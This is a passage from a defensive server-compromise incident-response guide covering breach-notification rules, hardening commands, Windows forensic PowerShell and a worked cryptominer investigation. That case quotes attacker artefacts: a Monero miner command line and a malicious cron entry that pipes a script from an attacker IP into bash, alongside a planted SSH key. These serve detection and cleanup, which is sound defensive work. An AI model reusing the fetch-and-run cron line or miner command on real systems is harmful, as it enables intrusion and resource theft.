☐ Has the attacker been confirmed to have accessed the data,
  or just the server?

10.2 PCI-DSS (Payment Card Industry Data Security Standard)

Applies if your servers process, store, or transmit cardholder data (credit/debit card numbers).

Obligation Requirement
Incident Response Plan
You must have a documented, tested IR plan (Requirement 12.10)
Notify Card Brands
Contact Visa, Mastercard, Amex directly within 24 hours of suspected compromise
Notify Acquiring Bank
Your payment processor must be informed immediately
Forensic Investigation
A PCI Forensic Investigator (PFI) may be required for serious breaches
Log Preservation
Preserve all logs for at least 12 months; 3 months immediately available

Critical:Do not wipe or rebuild compromised systems in a PCI environment until your acquiring bank authorises it β€” you may be required to preserve the evidence for a PFI investigation.

10.3 SEC Cybersecurity Disclosure Rules (US Public Companies)

The SEC's 2023 cybersecurity rules require public companies to:

  • Disclose material cybersecurity incidents onForm 8-K within 4 business days of determining materiality - Disclose cybersecurity risk management, strategy, and governance in annual reports (Form 10-K)

A breach is "material" if a reasonable investor would consider it important to an investment decision β€” typically when customer data, revenue, operations, or reputation is significantly affected.

10.4 Nigeria Data Protection Act (NDPA) / NDPR

For Nigerian-based organisations (particularly relevant for fintechs and startups operating in Nigeria):

  • The Nigeria Data Protection Act 2023 requires notification to the Nigeria Data Protection Commission (NDPC) of data breaches
  • Notification of affected data subjects is required where the breach is likely to cause harm
  • Organisations must maintain a breach register

10.5 Law Enforcement Engagement

When to engage law enforcement:
☐ Nation-state or politically motivated attack (CISA in the US, NCSC in UK)
☐ Ransomware (FBI has a dedicated ransomware task force)
☐ Financial fraud or wire transfers initiated via the compromise
☐ Child exploitation material discovered on the server
☐ Any attack on critical infrastructure

Important: Do NOT pay ransoms without consulting legal counsel.
Some ransomware groups are on OFAC sanctions lists β€” paying them
may itself be a criminal act under US law.

Key contacts:

US: FBI Cyber Division β€” ic3.gov | CISA β€” cisa.gov/report - UK: NCSC β€” ncsc.gov.uk/section/about-ncsc/report-an-incident - Nigeria: NITDA β€” nitda.gov.ng

10.6 Cyber Insurance

If your organisation holds a cyber insurance policy:

Post-incident insurance checklist:
☐ Notify your insurer BEFORE rebuilding systems (they may require
  their own forensic investigator)
☐ Document all incident response costs (staff hours, third-party IR,
  legal fees, notification costs)
☐ Do not make public statements about the breach without legal sign-off
☐ Preserve all evidence in its original state until the insurer approves
☐ Check your policy for ransomware payment coverage and sublimits

11. Prevention Best Practices #

11.1 Multi-Factor Authentication (MFA)

apt install libpam-google-authenticator
echo "auth required pam_google_authenticator.so" >> /etc/pam.d/sshd

cat >> /etc/ssh/sshd_config << EOF
ChallengeResponseAuthentication yes
AuthenticationMethods publickey,keyboard-interactive
EOF
systemctl restart sshd

11.2 Least Privilege

grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/

cat >> /etc/ssh/sshd_config << EOF
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AllowUsers deploy ubuntu YOUR_USER
MaxAuthTries 3
LoginGraceTime 30
EOF
systemctl restart sshd

11.3 Automated Patch Management

apt install unattended-upgrades
dpkg-reconfigure --priority=low unattended-upgrades

11.4 Log Monitoring Architecture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    LOGGING ARCHITECTURE                          β”‚
β”‚                                                                  β”‚
β”‚  Server Logs  ──►  Log Aggregator  ──►  SIEM / Alerting         β”‚
β”‚  (auth.log,        (Fluentd,             (Elastic/Kibana,        β”‚
β”‚   syslog,           Filebeat,             Splunk, Datadog,       β”‚
β”‚   nginx.log,        Logstash)             Wazuh)                 β”‚
β”‚   Zeek,                                        ↓                β”‚
β”‚   Suricata)                            Alert Rules               β”‚
β”‚                                        - Root login              β”‚
β”‚                                        - New user created        β”‚
β”‚                                        - Port scan detected      β”‚
β”‚                                        - Auth failure spike      β”‚
β”‚                                        - C2 beacon detected      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

11.5 IDS/IPS, EDR, and File Integrity Monitoring

curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add -
echo "deb https://packages.wazuh.com/4.x/apt/ stable main" | \
  tee /etc/apt/sources.list.d/wazuh.list
apt update && apt install wazuh-agent
systemctl enable wazuh-agent && systemctl start wazuh-agent

apt install aide
aideinit
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
echo "0 2 * * * root /usr/bin/aide --check | \
  mail -s 'AIDE Report' security@yourcompany.com" >> /etc/crontab

11.6 Backup Strategy (3-2-1 Rule)

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚           THE 3-2-1 BACKUP RULE                β”‚
β”‚                                                β”‚
β”‚  3  copies of your data                        β”‚
β”‚  2  different storage media / services         β”‚
β”‚  1  copy offsite / air-gapped                  β”‚
β”‚                                                β”‚
β”‚  Cloud implementation:                         β”‚
β”‚  - Daily automated EBS/disk snapshots          β”‚
β”‚  - Weekly cross-region backup copy             β”‚
β”‚  - Monthly export to immutable cold storage    β”‚
β”‚  - Quarterly restore test (actually restore!)  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

11.7 Harden Your Attack Surface

systemctl disable --now bluetooth avahi-daemon cups

ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp && ufw allow 443/tcp && ufw allow 80/tcp
ufw enable

aws ec2 modify-instance-metadata-options \
  --instance-id i-YOUR_INSTANCE_ID \
  --http-tokens required \
  --http-endpoint enabled

12. Windows Server Incident Response #

Windows Server environments require a parallel investigation workflow. Here is a concise Windows-specific playbook.

12.1 PowerShell Forensic Commands

query user /server:localhost
Get-WmiObject Win32_LoggedOnUser | Select-Object Antecedent, Dependent

Get-Process | Select-Object Name, Id, CPU, WS, Path |
  Sort-Object CPU -Descending | Format-Table -AutoSize

Get-NetTCPConnection -State Established |
  Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort,
                OwningProcess, @{n='Process';e={(Get-Process -Id $_.OwningProcess).Name}} |
  Format-Table -AutoSize

Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
  Select-Object TaskName, TaskPath, State |
  Format-Table -AutoSize

Get-ScheduledTask | Where-Object {
  $_.Date -gt (Get-Date).AddDays(-7)
} | Select-Object TaskName, Date, TaskPath

Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet
Get-LocalGroupMember -Group "Administrators"

Get-WinEvent -FilterHashtable @{
  LogName='Security'; Id=4625
  StartTime=(Get-Date).AddHours(-24)
} | Select-Object TimeCreated, Message | Format-List

Get-WinEvent -FilterHashtable @{
  LogName='Security'; Id=4624
  StartTime=(Get-Date).AddHours(-24)
} | Select-Object TimeCreated, Message | Format-List

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4720}

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698}

Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045}

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4728} # Domain group
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732} # Local group

Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"

Get-Service | Where-Object {$_.StartType -eq "Automatic"} |
  Select-Object Name, DisplayName, Status, StartType

Get-WMIObject -Namespace root/subscription -Class __EventFilter
Get-WMIObject -Namespace root/subscription -Class __EventConsumer

netstat -ano | findstr LISTENING

Get-NetTCPConnection -State Listen |
  Select-Object LocalPort, OwningProcess,
    @{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}}

Get-ChildItem C:\Windows\Prefetch | Sort-Object LastWriteTime -Descending | Select-Object -First 20

Get-ChildItem $env:TEMP, $env:TMP, "C:\Users\*\AppData\Local\Temp" -Recurse -ErrorAction SilentlyContinue |
  Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-3)} |
  Select-Object FullName, LastWriteTime | Sort-Object LastWriteTime -Descending

wevtutil epl Security C:\forensics\security.evtx
wevtutil epl System C:\forensics\system.evtx
wevtutil epl Application C:\forensics\application.evtx

Get-FileHash C:\forensics\* | Export-Csv C:\forensics\evidence_hashes.csv

12.2 Sysmon Configuration

Sysmon (System Monitor) dramatically enhances Windows event logging. Deploy it on all Windows servers.

.\Sysmon64.exe -accepteula -i sysmonconfig.xml

Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml \
  -OutFile sysmonconfig.xml
.\Sysmon64.exe -c sysmonconfig.xml  # Apply config


Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
  Where-Object {$_.Id -eq 1} |  # Process creation
  Select-Object TimeCreated,
    @{n='CommandLine';e={$_.Properties[10].Value}},
    @{n='ParentProcess';e={$_.Properties[20].Value}} |
  Format-List | Select-Object -First 20

12.3 Windows Defender Logs

Get-MpThreatDetection | Select-Object ThreatName, ActionSuccess, DetectionTime,
  Resources, ProcessName | Format-List

Get-MpThreat | Select-Object ThreatName, SeverityID, IsActive | Format-Table

Get-MpComputerStatus | Select-Object AMServiceEnabled, AntispywareEnabled,
  AntivirusEnabled, RealTimeProtectionEnabled, OnAccessProtectionEnabled

Set-MpPreference -DisableRealtimeMonitoring $false
Start-Service WinDefend

13. Real-World Example: Detecting a Compromised Linux Server #

The Scenario

A startup's Node.js API server on AWS EC2 (Ubuntu 22.04) starts showing unusual behaviour. The on-call engineer notices the server's CPU is at 95% with no corresponding increase in API traffic. The following investigation unfolds.

T+0:00 β€” Initial Alert

Datadog fires a CPU alert. The engineer SSHes in:

$ top

T+0:05 β€” Process Investigation

$ ps aux | grep kworkerds
nobody  14782  92.1  0.2  /tmp/.cache/kworkerds -o pool.monero.hashvault.pro:443 -u <wallet>

$ ls -la /tmp/.cache/
-rwxr-xr-x 1 nobody nogroup 2.9M Jan 15 03:11 kworkerds

ATT&CK: T1496 (Resource Hijacking), T1059.004 (Unix Shell)

T+0:08 β€” Network Investigation

$ ss -tnp | grep 14782
ESTAB  10.0.1.45:52441  195.201.x.x:443  ("kworkerds",pid=14782)

ATT&CK: T1071.001 (Application Layer Protocol: Web)

T+0:10 β€” Finding the Entry Point

$ grep "Jan 15 03:" /var/log/auth.log | grep "Failed\|Accepted"
Jan 15 03:11:47 sshd: Accepted password for nobody from 91.108.x.x port 52109

Root cause: The nobody

user had a weak password and SSH password authentication was enabled. The attacker brute-forced it in under 4 minutes.

ATT&CK: T1110.001 (Brute Force: Password Guessing), T1078 (Valid Accounts)

T+0:15 β€” Finding Persistence

$ crontab -l -u nobody
* * * * * curl -s http://91.108.x.x/update.sh | bash

$ cat /home/nobody/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1... attacker@kali  # Planted for persistent re-entry

ATT&CK: T1053.003 (Cron Job), T1098.004 (SSH Authorized Keys)

T+0:20 β€” Isolation and Response

  • AWS security group updated β€” deny all except investigation IP

  • EBS snapshot taken for forensic preservation

  • Process killed: kill -9 14782

  • Malicious cron removed and SSH key deleted

  • Binary removed: rm -rf /tmp/.cache/

nobody

account password rotated, SSH password auth disabled globally - fail2ban

andauditd

installed fleet-wide - AWS GuardDuty enabled (would have flagged the cryptomining connection within minutes had it been active)

Post-Incident Compliance Actions:

  • Breach assessment conducted β€” no PII or payment data on this server
  • Legal confirmed: NDPA notification not required (no personal data in scope)
  • Incident documented in breach register per best practice
  • Post-mortem scheduled with full timeline reconstruction

Lessons Applied:

Before After
SSH password auth enabled Password auth disabled fleet-wide
No brute-force protection
fail2ban deployed on all servers
nobody user had login shell
usermod -s /sbin/nologin nobody
No anomaly detection AWS GuardDuty enabled, CPU alert baseline tightened
No audit logging
auditd with watch rules deployed

14. Conclusion β€” The DICRP Framework #

Every server incident, regardless of severity, fits into a five-phase lifecycle. Having a mental model for this prevents you from jumping straight to remediation before you have fully understood the scope.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                          THE DICRP FRAMEWORK                               β”‚
β”‚                                                                            β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”      β”‚
β”‚  β”‚ DETECT  │─►│INVESTIGATE│─►│ CONTAIN │─►│ RECOVER │─►│ PREVENT  β”‚      β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜      β”‚
β”‚                                                                            β”‚
β”‚  Detect         Investigate    Contain        Recover       Prevent        β”‚
β”‚  ──────         ───────────    ───────        ───────       ───────        β”‚
β”‚  Monitoring     Preserve       Isolate        Restore       MFA            β”‚
β”‚  SIEM alerts    evidence       server         from backup   Least priv     β”‚
β”‚  Log review     ID access      Kill sessions  Patch vuln    FIM            β”‚
β”‚  Zeek/Suricata  vector         Rotate creds   Verify        IDS/SIEM       β”‚
β”‚  Anomalies      Timeline       Scope blast    integrity     auditd         β”‚
β”‚  GuardDuty      Persistence    radius         Resume ops    3-2-1 backup   β”‚
β”‚                 MITRE mapping  Legal notify               Patch mgmt       β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

A server compromise is not just a technical event β€” it is a business event with legal, reputational, and financial consequences. The teams that handle it best are not the ones who never get attacked; they are the ones who have already thought through their response before the incident happens.

Build your detection. Practice your playbook. Know your logs. Map your threats to ATT&CK. Know your compliance obligations before you need them.

The attacker only needs to get lucky once β€” you need to be ready every time.

First 10 Minutes Checklist

FIRST 10 MINUTES β€” SERVER COMPROMISE RESPONSE
────────────────────────────────────────────────────────────────────
☐ Take a cloud disk snapshot BEFORE doing anything else
☐ ps aux --sort=-%cpu | head -20         (find malicious processes)
☐ ss -tulpn                              (find unexpected listeners)
☐ last -n 50 -a                          (recent login history)
☐ grep "Accepted" /var/log/auth.log | tail -30  (successful logins)
☐ find / -mtime -1 -type f 2>/dev/null | head -20 (recent file changes)
☐ crontab -l && ls /etc/cron.d/          (cron persistence)
☐ cat ~/.ssh/authorized_keys             (all users)
☐ Isolate server (update security group / iptables)
☐ Notify your incident response team
────────────────────────────────────────────────────────────────────

This article reflects current best practices. The threat landscape evolves continuously β€” always verify CVEs, tooling, and log paths against your specific OS version and cloud provider documentation. MITRE ATT&CK version referenced: v14.

── more in #cybersecurity 4 stories Β· sorted by recency
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain β€” perfect for shipping the agent you just read about.

$git push zahid main
β†’ Live at https://your-agent.zahid.host βœ“
Get free account β†’ Pricing
from €0/mo Β· no card required
LIVE [news/how-to-know-if-a-thr…] indexed:0 read:44min 2026-05-23 Β· β€”